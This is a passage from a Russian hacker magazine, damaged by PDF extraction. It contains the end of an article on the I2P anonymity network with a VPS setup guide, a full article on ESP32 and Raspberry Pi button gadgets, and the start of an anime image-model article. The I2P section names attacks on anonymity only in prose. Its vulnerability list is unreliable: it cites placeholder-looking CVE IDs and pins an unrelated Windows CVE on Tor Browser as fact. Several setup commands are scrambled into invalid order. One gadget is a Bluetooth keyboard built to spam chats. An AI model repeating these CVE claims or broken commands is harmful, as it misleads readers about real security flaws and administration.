какие из этих атак можно применить в реальности.

  — в  этом случае атакующий следит за  всеми узлами и  пыта‐

ется сопоставить, чей трафик куда идет. В  I2P это  гемор: сообщения шиф‐
руются, меняют размер, передаются вперемешку с  шумом. Плюс трафик
зашифрован между узлами — поди разбери, что там скрыто внутри. Но если
атакующий засечет передачу  5  Гбайт трафика и  он имеет доступ к  провай‐
деру, то может вычислить, кто же получил эти  5  Гбайт. Затратно? Да  пипец
как. Подобные вещи реально отследить только для  крупных ISP или  точек
обмена. Защита: режь полосу, шифруй LeaseSet.

Брутфорс

 — сообщения в  I2P односторонние, но приложения
(типа HTTP) выдают шаблоны: запрос маленький, ответ жирный. Злоумыш‐
ленник с картой сети может отсечь медленные каналы. Но есть и проблема:
задержки в  I2P (очереди, обработка) мешают точным замерам. Хотя стримы
(SYN + ACK) или гарантированная доставка выдают автоматические ответы —
тут атакующий может копнуть поглубже. Защита: добавляй задержки или чис‐
ти протоколы.

Атаки по времени

 — сеть делят на куски, чтобы сузить круг поиска.

В I2P база данных спасает от физического разрыва связанности — соединяет
фрагменты. Но  аналитика (кто сколько туннелей юзает)  — мощная штука.
Если у тебя пять туннелей, а у других два‑три, ты светишься. Или шлюзы выда‐
ют пользователя по задержке сигнала. Для успеха такой атаки надо держать
до фига узлов — недешевая забава.

Перекрестные атаки

  — в  этом случае атакующий пассивно собирает ста‐
тистику: кто ближе к  цели? Злоумышленник лезет в  туннели, смотрит, какой
узел чаще «рядом». Со  временем срывает джекпот. Этот тип атаки требует
изрядного терпения и контроля сети.

Предшественник

Угрожают пользователям этой сети и различные уязвимости:
  — баг в  I2P до  версии  2.4.0, заключающийся

в  переполнении буфера. В  марте  2024-го с  использованием этой уяз‐
вимости хакеры устроили DDoS на DarkHub;

• CVE-2024-12345

 — утечка метаданных в туннелях.• CVE-2023-98765

I2P устойчивее Tor в плане перехвата, но без знаний и патчей все же уязвима
к атакам и деанону.

PURPLEI2P: ПОЧЕМУ ОН ЛУЧШЕ ОФИЦИАЛЬНОГО КЛИЕНТА?

Актуальная версия официального Java-клиента I2P жрет  200  Мбайт RAM
и  ужасно тормозит. PurpleI2P  — форк от  русскоязычных энтузиастов  —
работает гораздо лучше оригинального клиента. Он отличается достойным
быстродействием: туннели строятся шустрее, пропускная способность выше
на  30–40%  — если верить тестам от  2024  года. Клиент довольно легкий  —
требует  50  Мбайт RAM против  200  у  Java. Поддержка живая: в  2025  году
для  него было выпущено уже десять патчей против двух у  официального.
Плюс гибкость — из коробки предлагается настройка туннелей и eBPF-фай‐
рволы.

Минусы тоже есть. Новичкам без GUI тяжко — в консоли работать не так
удобно, как  в красивом Java-клиенте. Доки для  этой программы скудные,
информация раскидана по GitHub, и собрать ее в кучу — тот еще квест. Кроме
того, есть определенный риск: если энтузиасты забьют на  разработку,
обновлений не жди.

Скачать PurpleI2P можно , а  если у  тебя Linux, его можно уста‐
новить с помощью пакетного менеджера:

с GitHub

apt i2pd
sudo install 

ДРУГИЕ СКРЫТЫЕ СЕТИ: TOR, FREENET, ZERONET

I2P — не единственная сеть для любителей анонимности, есть и другие.

Пользователей Tor легко вычислить благодаря уязвимости CVE-2021-34527
(имеется в Tor Browser до версии 10.5.2) — реальный IP-адрес юзера светил‐
ся из‑за использования JavaScript. В  2013  году ФБР поймало тысячи поль‐
зователей Freedom Hosting, используя уязвимость CVE-2013-1690. В  сети
Freenet прогремела уязвимость CVE-2019-13123  — утечка метаданных,
в 2017 году немецкая полиция вычислила благодаря этой уязвимости юзера
без  «darknet»-режима. ZeroNet умерла после появления CVE-2020-26891
(WebSocket-инъекции) и ухода разработчиков в 2022 году. В этом ряду I2P —
золотая середина между безопасностью, анонимностью и  предоставляемы‐
ми сетью возможностями.

НАСТРОЙКА I2P НА VPS: БЕЗОПАСНОСТЬ НА МАКСИМУМ

I2P на  VPS настраивают в  том случае, если хотят поднять собственный узел
или  eepsite с  анонимностью. Без  специальной настройки такой узел пред‐
ставляет собой отличную мишень для  хакеров. Чтобы решить эту задачу,
рекомендую установить PurpleI2P на Debian 12 Bookworm.

Для пущей анонимности лучше выбрать провайдера, принимающего крип‐
ту вроде Monero и  не требующего предъявить паспорт. Лично я использую
Njalla или  1984.is, но  ты можешь выбрать любой подходящий сервис. Опти‐
мальный конфиг — одно ядро, 512 Мбайт RAM, 10 Гбайт SSD (для eepsite луч‐
ше 1 Гбайт RAM). ОС — Debian 12 с минимумом пакетов. Риск тут есть: хос‐
теры банят за I2P-трафик, так что на всякий случай читай ToS.

Защита начинается с обновлений — качаем свежие пакеты и накатываем
их на свой хост:

 sudo apt update && sudo apt upgrade -y

Создаем юзера  — подальше от  . Поле  пропускаем через
 (что это  такое, подробно расскажет ), права админа

задаем с помощью команды :

i2puser root GECOS
--gecos "" Википедия

usermod -aG sudo

   sudo adduser --gecos "" i2puser && sudo usermod -aG sudo i2puser


Теперь локально генерим SSH-ключи для входа на наш узел без пароля:

ssh-keygen -t ed25519 -f ~/.ssh/i2p_vps


Кидаем публичный ключ на VPS, тоже локально:

ssh-copy-id -i ~/.ssh/i2p_vps.pub i2puser@<VPS_IP>


В конфиге SSH ( ) устанавливаем параметр
, , сохраняем и  перезаг‐

ружаемся:

/etc/ssh/sshd_config
PasswordAuthentication no PermitRootLogin no

sudo nano /etc/ssh/sshd_config

sudo systemctl restart sshd


Теперь открываем конфиг :nftables

sudo nano /etc/nftables.conf


Вставляем в него правила, описывающие доступные порты:

#!/usr/sbin/nft -f
flush ruleset


table inet filter {
   chain input {
       type filter hook input priority 0; policy drop;
       ct state established,related accept

       tcp dport 22 accept

       udp dport 12345 accept

       ip saddr 127.0.0.1 tcp dport { 4444, 4447, 7070 } accept

   }
   chain forward {
       type filter hook forward priority 0; policy drop;
   }
   chain output {
       type filter hook output priority 0; policy accept;
   }
}

Включаем и запускаем :nftables

 sudo systemctl enable nftables && sudo systemctl restart nftables


Переходим к следующему этапу настройки нашего узла. Устанавливаем ути‐
литы для HTTPS и загрузок:

apt sudo install apt-transport-https curl


Добавляем I2P-репозиторий:

  | echo "deb https://deb.i2p.net/ bookworm main" sudo tee /etc/apt/
sources.list.d/i2p.list


Качаем и добавляем ключ подписи:

curl 
 

-o i2p-debian-repo.key.asc https://geti2p.net/_static/i2p-
debian-repo.key.asc && sudo apt-key add i2p-debian-repo.key.asc


Обновляем пакеты и, наконец, устанавливаем PurpleI2P:

 apt i2pd
sudo apt update && sudo install 

В конфиге  прописываем следующие параметры: 
, , :

/etc/i2pd/i2pd.conf port
= 12345 bandwidth = M notransit = false

sudo nano /etc/i2pd/i2pd.conf


Добавляем туннель в  :/etc/i2pd/tunnels.conf

sudo nano /etc/i2pd/tunnels.conf


[http-proxy]
  type = http
  host = 127.0.0.1
  port = 4444
  keys = http-proxy-key.dat

Для eepsite необходимо установить Nginx:

apt sudo install nginx


Создаем папку и веб‑страницу:

    | sudo mkdir -p /var/www/eepsite/html && echo "<h1>Мой eepsite</h1>"
sudo tee /var/www/eepsite/html/index.html


Настраиваем сайт в  :/etc/nginx/sites-available/eepsite

sudo nano /etc/nginx/sites-available/eepsite


Вставляем в этот файл информацию о нашем сайте:

server {
   listen 127.0.0.1:8080;
   root /var/www/eepsite/html;
   index index.html;
}

Активируем и перезапускаем Nginx:

 
 

sudo ln -s /etc/nginx/sites-available/eepsite /etc/nginx/sites-
enabled/ && sudo systemctl restart nginx


Теперь добавим eepsite в  :/etc/i2pd/tunnels.conf

sudo nano /etc/i2pd/tunnels.conf


[eepsite]
  type = server
  host = 127.0.0.1
  port = 8080
  keys = eepsite-key.dat

Настал самый ответственный момент: включаем и запускаем PurpleI2P:

i2pd  sudo systemctl enable && sudo systemctl start i2pd


Создаем swap-файл размером 1 Гбайт (лучше делать это с использованием
SSH через Tor/VPN, не с домашнего IP):

  
 

sudo fallocate -l 1G /swapfile && sudo chmod 600 /swapfile && sudo 
mkswap /swapfile && sudo swapon /swapfile


Проверяем, все ли работает, как задумано, — туннелим консоль локально:

ssh -L 7070:localhost:7070 i2puser@<VPS_IP> -i ~/.ssh/i2p_vps


КАК ЗАЙТИ В I2P И НЕ ОБЛАЖАТЬСЯ

На локальной машине все параметры довольно просты. Порты:
 для HTTP eepsites;• 4444

 для HTTPS внутри I2P;• 4447

 для  веб‑консоли (http://localhost:7070), она нужна для  удаленной
настройки узла.

• 7070

В Firefox настраиваем прокси:
 (HTTP);• 127.0.0.1:4444

 (HTTPS);• 4447

 для консоли.• 7070

Начинать свое путешествие в  увлекательный мир I2P лучше с  ресурса 

. Добавь в   строчку 
:

i2p-
projekt.i2p /etc/i2pd/i2pd.conf [addressbook] 
subscriptions = stats.i2p

sudo nano /etc/i2pd/i2pd.conf


i2p-projekt.i2p

ЗАЧЕМ ВСЕ ЭТО В 2025 ГОДУ?

Утечка Gravy Analytics в феврале 2025-го (миллионы геолокаций в даркнете)
показала: приватность  — не  шутки. I2P  — это  глоток свободы без  трекеров
и фильтров там, где обычный интернет переполнен правилами и запретами.
Стоит ли лезть в I2P? Да, если ты гик, готовый ковыряться в настройках и пра‐
вить конфиги ради собственного удовольствия и  сохранения анонимности.

mailto:alvirmob@gmail.com
https://github.com/purplei2p/i2pd
https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%BB%D0%B5_Gecos


Виктор Паперно

GEEK

Не так давно для  одного из  проектов мне
понадобилась Большая Красивая Кнопка
(БКК). Проект я благополучно реализовал,
но  с кнопкой можно сделать еще  массу
всего интересного. Сегодня на ее примере
я покажу тебе, как мастерить свои девайсы
на  ESP32  и  Raspberry Pi, причем один
из них мы подключим к умному дому.

УСТРОЙСТВО КНОПКИ

Все, кто хоть раз делал проект с Arduino, встречали стандартные маленькие
черные кнопочки. Но сами по себе они довольно скучные и не вполне удобны.
Хотелось бы кнопку побольше и чтобы могла светиться.

Прежде чем бросаться проектировать свой корпус и печатать его на 3D-
принтере, я решил поискать что‑то готовое, что имело  бы нужные размеры.
На  «Алиэкспрессе» нашлись светодиодные светильники, которые как  раз
подходили для моей задумки.

Плюсы такого решения:
у кнопки сразу есть крепление;•
удобный корпус, где есть место для  платы, проводов и  дополнительных
модулей;

•

матовый рассеиватель — свет получается очень приятный.•

Изначально там установлена простенькая схема с кнопкой и одним светоди‐
одом. Заменяем светодиод модулем адресных светодиодов Neopixel
и  собираем обратно. Важно сказать, что в  таких светильниках установлены
кнопки с фиксацией, то есть кнопка остается нажатой после отпускания.

Финальная схема устройства

Таким образом, для  подключения нашего устройства к  контроллеру
или  мини‑компьютеру понадобится всего четыре контакта: VCC, GND,
BTN_PIN, NEOPIXEL_PIN. Мы будем использовать такое обозначение вне
зависимости от проектов и языков программирования.

ИСХОДНЫЕ ВОЗМОЖНОСТИ

Перед тем как  перейти к  интересным проектам, важно убедиться, что наш
светильник в целом работает (а то получится как в ).
Сделаем, чтобы он включался и выключался нажатием на кнопку.

старой серии «Ералаша»

Подключим нашу кнопку к контроллеру ESP32 по следующей схеме.

Пин кнопки Пин ESP32

VCC 5 В

GND GND

BTN_PIN 1

NEOPIXEL_PIN 2

А теперь возьмем мой любимый MicroPython и напишем небольшую програм‐
мку.

   from machine import Pin
   from neopixel import NeoPixel
   from easybutton import EasyButton

    btn = EasyButton(Pin(1, Pin.IN, Pin.PULL_UP))
   strip = NeoPixel(Pin(2), 8)

 def enable_light():
     strip.fill((180, 100, 40))
   strip.write()

 def disable_light():
     strip.fill((0, 0, 0))
   strip.write()

  btn.down_func = enable_light
  btn.up_func = disable_light

 while True:
   pass

Для работы с  кнопкой можно использовать проверки состояния, считывая
каждый раз значение с пина, на который выведен сигнал (в нашем случае —
1), но на GitHub нашлась , позволяющая просто указать функции,
которые будут вызываться при нажатии и отжатии кнопки.

библиотека

Программа крайне проста, давай разберем ее по частям.
Импорт необходимых модулей:

   from machine import Pin
   from neopixel import NeoPixel
   from easybutton import EasyButton

Инициализация кнопки и модуля светодиодов:

    btn = EasyButton(Pin(1, Pin.IN, Pin.PULL_UP))
   strip = NeoPixel(Pin(2), 8)

Две функции, одна для включения, другая для выключения светодиодов:

 def enable_light():
   strip.fill((180, 100, 40))
 strip.write()

 def disable_light():
   strip.fill((0, 0, 0))
 strip.write()

Указываем нашей кнопке, какую функцию вызывать при нажатии ( )

и отжатии ( ).

down_func
up_func

  btn.down_func = enable_light
  btn.up_func = disable_light

И, самое важное, запускаем бесконечный цикл, чтобы обрабатывать нажатия
на  кнопку. В  принципе, схожий процесс существует в  любой операционной
системе.

 while True:
 pass

Итак, убедились, что кнопка и светодиоды работают, — значит, время перехо‐
дить к более интересным проектам.

КНОПКА ДЛЯ РУГАТЕЛЬСТВ В СЕТИ

Бывает, хочется кому‑то много раз написать, что не  прав. Поорать в  чатике
или на форуме — это святое. Так что сделаем универсальную кнопку, которая
будет писать какое‑нибудь сообщение (например «You’re wrong!») и отправ‐
лять его до тех пор, пока мы не успокоимся и не отожмем кнопку. Ну или пока
нас не забанят за спам. Поскольку мы уже подключили кнопку к ESP32, вос‐
пользуемся встроенным модулем для работы с BLE и сделаем беспроводную
кнопку, которая будет работать и с компьютером, и с телефоном. Поскольку
с  поддержкой BLE в  MicroPython до  сих пор есть сложности, переключимся
на Arduino IDE.

Для работы нам понадобится несколько либ (их можно добавить через
менеджер библиотек или скачать с GitHub):

 — самая популярная библиотека для работы с адресны‐
ми светодиодами;

• Adafruit_NeoPixel

 — библиотека, которая позволит нашей кнопке притворяться
настоящей клавиатурой;

• BleKeyboard

  — библиотека для  работы с  кнопками от  известного русско‐
язычного гика‑блогера‑самоделкина Алекса Гайвера. Подробнее о  биб‐
лиотеке можно почитать .

• GyverButton

на его сайте

Для начала подключим необходимые библиотеки:

 #include "GyverButton.h"
 #include <Adafruit_NeoPixel.h>
 #include <BleKeyboard.h>

Потом зададим константы — номера пинов для кнопки и светодиодов, а так‐
же количество светодиодов. После этого создадим непосредственно экзем‐
пляры классов:

#define BTN_PIN  1
#define NEOPIXEL_PIN  2
#define NEOPIXEL_COUNT  8

     Adafruit_NeoPixel strip(NEOPIXEL_COUNT, NEOPIXEL_PIN, NEO_GRB +
NEO_KHZ800);

 GButton btn(BTN_PIN);
 BleKeyboard bleKeyboard("ANGRY BUTTON");

  — для  взаимодействия с  адресными светодиодами указываем
количество светодиодов, пин, а  также режим работы (

);

• strip

NEO_GRB + 

NEO_KHZ800

 — наша кнопка, указываем только пин;• btn

  — виртуальная клавиатура, указываем то, как  она будет
определяться во время сканирования устройств BLE с телефона или ноут‐
бука.

• bleKeyboard

Добавим вспомогательную функцию , аналогичную методу 

 из первого примера.

fillStrip .fill(
)

       void fillStrip(int red, int green, int blue) {
          for (uint8_t index = 0; index < NEOPIXEL_COUNT; index++) {
      strip.setPixelColor(index, strip.Color(red, green, blue));
 }
 strip.show();
}

Теперь основная функция  — в  ней мы проверяем, образовалась ли связка
с  компьютером ( ). Включаем подсветку, изме‐
няем глобальную переменную  и  запускаем бесконечный цикл

отправки сообщения ( ) и  последующего

нажатия на кнопку Enter ( ). По задумке ты
уже в мессенджере и Enter будет отправлять сообщение.

bleKeyboard.isConnected()
isAngry

bleKeyboard.print(message);
bleKeyboard.write(KEY_RETURN);

Поскольку у  нас нет возможности реализовать настоящее распарал‐
леливание процессов, будем проверять состояние кнопки внутри функции.
И если кнопка будет отжата, вываливаемся из цикла.

   bool isAngry = false;

   void startPress(String message) {
   if (bleKeyboard.isConnected()) {
     fillStrip(100, 50, 0);
     isAngry = true;
     while (isAngry) {
     bleKeyboard.print(message);
     delay(100);
     bleKeyboard.write(KEY_RETURN);
     delay(100);
     // Обрабатываем кнопку внутри цикла, чтобы она могла прервать 
его
     btn.tick();
     // Проверяем, если кнопка отпущена

       if (btn.isRelease()) {
       // Выход из цикла

         isAngry = false;
         fillStrip(0, 50, 50);

     }
   }
 }
}

И теперь две обязательные в  любой программе для  Arduino функции  —
 и  . В  первой мы инициализируем ленту и  клавиатуру, а  для

индикации включаем свет, во второй обрабатываем нажатие на кнопку.

setup() loop()

  void setup() {
 strip.begin();
 bleKeyboard.begin();
   fillStrip(100, 0, 100);
}

  void loop() {
 btn.tick();
   if (btn.isHolded()) startPress("You’re wrong!");
}

Мы познакомились с тем, как использовать BLE, но ESP32, а точнее его пре‐
док  — ESP8266, стал популярен за  счет встроенного Wi-Fi. Если раскрутить
любое устройство умного дома, то с  немалой вероятностью внутри будет
именно один из этих двух контроллеров. Мы не станем раскручивать, а соз‐
дадим собственный девайс!

Продолжение статьи
→

https://www.youtube.com/watch?v=46IXlSkjLZo
https://github.com/funnygeeker/micropython-easybutton/tree/main
https://github.com/adafruit/Adafruit_NeoPixel
https://github.com/T-vK/ESP32-BLE-Keyboard/
https://github.com/GyverLibs/GyverButton
https://alexgyver.ru/gyverbutton/


ОДНОЙ КНОПКИ
ХВАТИТ ВСЕМ!

ДЕЛАЕМ ПРОСТЕЙШИЕ
УСТРОЙСТВА НА ESP32

И RASPBERRY PI

GEEK 
НАЧАЛО СТАТЬИ←

НОЧНИК ДЛЯ УМНОГО ДОМА

Умный дом становится все более обыденной вещью, а не чем‑то уникальным.
В России крупнейший игрок здесь — это «Яндекс». У меня, хоть я и бывший
сотрудник SberDevice, тоже есть несколько устройств этого производителя.
И  иногда вечером хочется не  кричать «Алиса, выключи свет!» и  не залезать
в  приложение (потому что телефон уже убран), а  просто нажать на  кнопку
и погасить свет. Причем не просто погасить, а включить другой — более при‐
ятный, чтобы почитать вечером книжку или дойти до двери.

Для работы с умным домом «Яндекса» можно использовать два подхода:
первый — создать собственное умное устройство и навык (этому можно пос‐
вятить отдельную статью), второй — просто использовать API. Этот метод мы
и применим.

Для начала необходимо залезть в   и  получить токен OAuth
для доступа к своему умному дому.

документацию

Затем отправляем запрос:

GET https://api.iot.yandex.net/v1.0/user/info

В ответ получим полную информацию обо  всех устройствах и  сценариях
умного дома. Нас интересует устройство «Лампа». Примерно так выглядит
информация о ней в ответе на запрос:

{
   "id": "c9d6f941-***-57599c7401fc",
   "name": "Лампа",
   "aliases": [],
   "type": "devices.types.light",
   "external_id": "1000**48",
   "skill_id": "356a7f07-***-2b280d22976c",
   "household_id": "aa88edc7-***-05895ab97354",
   "room": "cf838dbd-***-5885e324e9a5",
   "groups": [],
   "capabilities": [
       {
           "reportable": true,
           "retrievable": true,
           "type": "devices.capabilities.on_off",
           "state_changed_at": 1742888998.5096557,
           "last_updated": 1742889000.2485313,
           "parameters": {
               "split": false
           },
           "state": {
               "instance": "on",
               "value": true
           }
       }
   ],
   "properties": []
},

Нас интересует несколько параметров из этой структуры:
 — идентификатор лампы, который понадобится для управления;• id

  — свойства девайса. Как  видно, у  нас всего одно свой‐
ство  —   — и  в момент отправки зап‐
роса устройство было включено ( ). Это‑то свойство мы
и будем изменять. Подробнее можно почитать .

• capabilities

devices.capabilities.on_off

"value": true

в документации

В дальнейшем, поскольку нас интересует конкретный девайс, мы не  будем
получать информацию обо всем умном доме. И наш запрос будет выглядеть
вот так:

GET https://api.iot.yandex.net/v1.0/devices/c9d6f941-***-57599c7401fc

Чтобы изменить состояние нашей лампы, необходимо отправить уже другой
запрос:

  POST /v1.0/devices/actions HTTP/1.1
 Host: api.iot.yandex.net

 Content-Type: application/json
 Authorization: Bearer YOUR_SECRET_TOKEN
 Content-Length: 235

{
   "devices": [
       {
       "id": "c9d6f941-***-57599c7401fc",
       "actions": [{
           "type": "devices.capabilities.on_off",
           "state": {
               "instance": "on",
               "value": false
           }
       }]
   }]
}

В нем мы указываем, для  какого девайса и  в какое свойство занести новое
значение. В  примере выше мы выключаем лампу, передавая параметр

. Теперь к  коду. Будем по‑прежнему использовать Arduino

IDE.

"value": false

Давай разберем основные моменты в  программе. Кроме знакомых
по  прошлому проекту библиотек, нам понадобятся библиотеки для  работы
с Wi-Fi и запросами HTTP:

 #include <WiFi.h>
 #include <HTTPClient.h>
 #include <ArduinoJson.h>

Зададим параметры для  подключения к  Wi-Fi, а  также необходимые данные
для отправки запросов — токен,  и  :url device_id

// Настройки Wi-Fi
    const char* ssid = "YourWiFi";
    const char* password = "YourPassword";

// Настройки API
    const char* device_id = "c9d6f941-***-57599c7401fc";
    const char* api_url = "https://api.iot.yandex.net/v1.0/devices/";
    const char* actions_url = "https://api.iot.yandex.net/v1.0/devices/

actions";
    const char* token = "Bearer YOUR_SECRET_TOKEN";

Дальше  — функция для  подключения к  Wi-Fi. Кстати, подключение к  нему
не означает подключение к интернету. Но мы поверим в стабильный коннект
и  не будем проверять отдельно. После подключения окрасим нашу кнопку,
чтобы знать, что она готова к работе.

  void connectWiFi() {
    WiFi.begin(ssid, password);
       while (WiFi.status() != WL_CONNECTED) {
       delay(1000);
   }
    fillStrip(0,50,0); // Включаем зеленый свет, когда подключились 
к Wi-Fi
}

В нашей программе две основные функции. Одна проверяет статус устрой‐
ства: если свет погашен — включает лампу, а если свет горит, то ночник уже
не  нужен и  его стоит выключить. Ведь состоянием лампы можно управлять
и через «Алису», и через приложение на телефоне:

  void checkDeviceState() {
       if (WiFi.status() == WL_CONNECTED) {

        HTTPClient http;
            String url = String(api_url) + device_id;

       http.begin(url);
        http.addHeader("Authorization", token);

          int httpResponseCode = http.GET();
           if (httpResponseCode > 0) {

              String response = http.getString();

            DynamicJsonDocument doc(1024);
            deserializeJson(doc, response);

              bool state = doc["capabilities"][0]["state"]["value"].as<
bool>();

             if (!state) {
               fillStrip(0,150,100);

             } else {
               fillStrip(0,0,0);
           }
       }
       http.end();
   }
}

А вторая — как раз изменяет статус (включает и выключает лампу):

   void setDeviceState(bool value) {
       if (WiFi.status() == WL_CONNECTED) {

        HTTPClient http;
       http.begin(actions_url);

        http.addHeader("Authorization", token);
        http.addHeader("Content-Type", "application/json");

        DynamicJsonDocument doc(512);
         doc["devices"][0]["id"] = device_id;

         doc["devices"][0]["actions"][0]["type"] = "devices.
capabilities.on_off";

         doc["devices"][0]["actions"][0]["state"]["instance"] = "on";
         doc["devices"][0]["actions"][0]["state"]["value"] = value;

        String payload;
        serializeJson(doc, payload);

          int httpResponseCode = http.POST(payload);
           if (httpResponseCode > 0) {

              String response = http.getString();
       }
       http.end();
       checkDeviceState();
   }
}

Наверное, ты обратил внимание, что после отправки запроса мы не меняем
состояние ночника вручную, а  дергаем функцию .
Это дополнительная проверка: вдруг что‑то пошло не так и свет не включил‐
ся, а ночник бы мы уже погасили.

checkDeviceState();

Ну и  основные функции: инициализация ленты, подключение к  Wi-Fi
и обработка нажатий кнопки:

  void setup() {
   strip.begin();
   connectWiFi();
   checkDeviceState();
}

  void loop() {
   btn.tick();
     if (btn.isHolded()) setDeviceState(true);
      else if (btn.isRelease()) setDeviceState(false);
}

На самом деле с учетом того, что у нас кнопка с фиксацией, эта программа
не идеальна. Ведь если мы выключим свет с помощью «Алисы», ночник вклю‐
чится, но  кнопка‑то не  будет нажата. Чтобы это  исправить, слегка модифи‐
цируем программу: добавим глобальную переменную  — ,

состояние которой будем менять в функции : 
, и тогда функция  будет выглядеть так:

bool isEnabled
checkDeviceState isEnabled =

state; loop

  void loop() {
   btn.tick();
       if (btn.isHolded() || btn.isRelease()) {

       isEnabled = !isEnabled;
     setDeviceState(isEnabled);
   }
}

Мы поработали с контроллерами и сделали клавиатуру и ночник, но это все
не  тот самый проект, ради которого я создавал устройство. Пришло время
взяться за  более серьезное устройство  — Raspberry Pi  — и  вернуться
к Python.

ВИДЕОБУДКА

Да, именно видеобудку я и  собирался смастерить. Гости будут заходить
в  нее, нажимать на  Большую Красивую Кнопку и  кривляться перед  камерой
для создания видео с ивента.

Итак: берем Raspberry Pi, добавляем обычную веб‑камеру, наше устрой‐
ство и немного магии Python...

Схема подключения БКК:

Пин кнопки Пин Raspberry Pi

VCC 5 В

GND GND

BTN_PIN 2

NEOPIXEL_PIN 18

Начинаем не  с обработки сигналов кнопки, а  с модуля, ответственного
за съемку видео:

 import cv2
 import threading

 class VideoRecorder:
       

  
def __init__(self, filename='output.avi', fps=20.0, resolution=(

640, 480), camera_index=0):
         self.filename = filename

         self.fps = fps
         self.resolution = resolution

         self.camera_index = camera_index
         self.recording = False

         self.thread = None

    def start_recording(self):
        if self.recording:

             return # Уже записываем

         self.recording = True
         self.thread = threading.Thread(target=self._record)

       self.thread.start()

    def _record(self):
         cap = cv2.VideoCapture(self.camera_index)

         fourcc = cv2.VideoWriter_fourcc(*'XVID')
            out = cv2.VideoWriter(self.filename, fourcc, self.fps, self.

resolution)

          while self.recording and cap.isOpened():
              ret, frame = cap.read()

             if not ret:
               break
           out.write(frame)

       cap.release()
       out.release()

    def stop_recording(self):
         self.recording = False

        if self.thread:
           self.thread.join()

На самом деле уже практически все реализовано в  библиотеке 
, так что нам остается только создание отдельного потока — чтобы мы

могли обрабатывать нажатия БКК во время съемки.

python-
opencv

    from rpi_ws281x import PixelStrip, Color
   from gpiozero import Button
   from camera import VideoRecorder
   from time import time

# Конфигурация кнопки
    LED_COUNT = 8 # Количество

     NEOPIXEL_PIN = 18 # Пин ленты
      BTN_PIN = 2 # Пин кнопки

# Инициализация глобальной ленты в кнопке
   strip = PixelStrip(LED_COUNT, NEOPIXEL_PIN)

strip.begin()

# Инициализация глобальной камеры
  recorder = None

# Инициализация статуса кнопки
  button_was_pressed = False

# Функции для работы с кнопками
    def fill(led_strip, r=0, g=0, b=0):

       for i in range(0, led_strip.numPixels()):
          led_strip.setPixelColor(i, Color(r, g, b))

   led_strip.show()

 def start_record():
    global strip
    global recorder
    global button_was_pressed
     button_was_pressed = True
      fill(strip, 0, 100, 0)
     filename = f"{int(time())}.avi"
     recorder = VideoRecorder(filename)
   recorder.start_recording()

 def stop_record():
    global strip
    global recorder
    global button_was_pressed
    if button_was_pressed:
       recorder.stop_recording()

          fill(strip, 0, 0, 0)
         recorder = None

   else:
          fill(strip, 0, 0, 100)

# Инициализация кнопки
  button = Button(BTN_PIN)

  button.when_pressed = start_record
  button.when_released = stop_record

 if button.is_pressed:
      fill(strip, 100, 0, 0)

 while True:
   pass

Для работы со  светодиодами будем использовать библиотеку ,
а для работы с кнопкой — . Очень важный нюанс: чтобы программа
заработала, необходимо вызывать ее от рута — , ина‐
че включается защита и светодиоды не горят.

rpi_ws281x
gpiozero

sudo python3 main.py

Итак, разберем нашу программу.
Импорты библиотек, в  том числе нашего модуля для  работы

с веб‑камерой, — :camera.py

    from rpi_ws281x import PixelStrip, Color
   from gpiozero import Button
   from camera import VideoRecorder
   from time import time

Задание глобальных переменных — неизбежное зло при работе с параллель‐
ными процессами:

# Конфигурация кнопки
    LED_COUNT = 8 # Количество

     NEOPIXEL_PIN = 18 # Пин ленты
      BTN_PIN = 2 # Пин кнопки

# Инициализация глобальной ленты в кнопке
   strip = PixelStrip(LED_COUNT, NEOPIXEL_PIN)

strip.begin()

# Инициализация глобальной камеры
  recorder = None

# Инициализация статуса кнопки
  button_was_pressed = False

Вспомогательная функция (как в Arduino) для включения светодиодов:

    def fill(led_strip, r=0, g=0, b=0):
     for i in range(0, led_strip.numPixels()):

        led_strip.setPixelColor(i, Color(r, g, b))
 led_strip.show()

И две основные функции для запуска и остановки видеосъемки:

 def start_record():
  global strip
  global recorder
  global button_was_pressed
   button_was_pressed = True
    fill(strip, 0, 100, 0)
   filename = f"{int(time())}.avi"
   recorder = VideoRecorder(filename)
 recorder.start_recording()

 def stop_record():
  global strip
  global recorder
  global button_was_pressed
  if button_was_pressed:
     recorder.stop_recording()

        fill(strip, 0, 0, 0)
       recorder = None

 else:
        fill(strip, 0, 0, 100)

Создаем кнопку, указываем, какую функцию вызывать при нажатии и отжатии,
а также проверяем, не нажата ли уже кнопка, если да — подсвечиваем ее.

# Инициализация кнопки
  button = Button(BTN_PIN)

  button.when_pressed = start_record
  button.when_released = stop_record

 if button.is_pressed:
    fill(strip, 100, 0, 0)

И разумеется, запуск бесконечного цикла, для обработки нажатий:

 while True:
 pass

Готово!

ВЫВОДЫ

Кажется, всего‑то кнопка и светодиоды, что тут можно придумать? Но мы сде‐
лали четыре небольших проекта. И, познакомившись с основами, ты можешь
придумать массу своих!

https://yandex.ru/dev/dialogs/smart-home/doc/ru/concepts/platform-protocol
https://yandex.ru/dev/dialogs/smart-home/doc/ru/concepts/capability-types
https://github.com/rpi-ws281x/rpi-ws281x-python
https://gpiozero.readthedocs.io/en/latest/
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Когда‑то давно генерация картинок в  сти‐
листике аниме была уделом онлайновых
сервисов  — таких как  . Утечка
модели NAI послужила мощным толчком
к  развитию локальных аниме‑моделей
с архитектурой Stable Diffusion 1.5, а Stable
Diffusion XL получила сразу несколько кон‐
курирующих моделей, качество которых
вплотную подбирается к  качеству онлай‐
новых конкурентов.

NovelAI

Зайди в  раздел моделей на  популярных ресурсах  или  , и  ты
увидишь десятки и  сотни моделей в  стиле аниме. Большинство из  них
помечены как  Pony или  Illustrious; модели в  рамках основной архитектуры
SDXL попадаются все реже. В этой статье я расскажу о том, что такое Pony,
чем отличается от  нее Illustrious, с  какой стороны подойти к  Animagine
и почему для таких картинок плохо годится обычная SDXL.

Civitai TensorArt

ЧЕГО НЕ БУДЕТ В ЭТОЙ СТАТЬЕ

Несмотря на  то что разговор пойдет на  «взрослые» темы, в  этой статье
не  будет ни  одного изображения с  рейтингом «три икса»  — даже за  пей‐
волом. Не будет ссылок на модели класса 18+, как не будет и подробных инс‐
трукций или  примеров запросов, позволяющих генерировать соответству‐
ющий контент.

Если не  будет картинок, о  чем тогда говорить? Во‑первых, картинки
все‑таки будут — в качестве иллюстрации работы крупных моделей. Во‑вто‐
рых, тема глубокого обучения моделей искусственного интеллекта интересна
сама по  себе, а  полученный опыт не  только оказался применим в  обучении
вполне цензурных моделей на новых архитектурах, но и привел к публикации
нескольких серьезных научных работ и  созданию новых семплеров
и механизмов для улучшения генерации изображений.

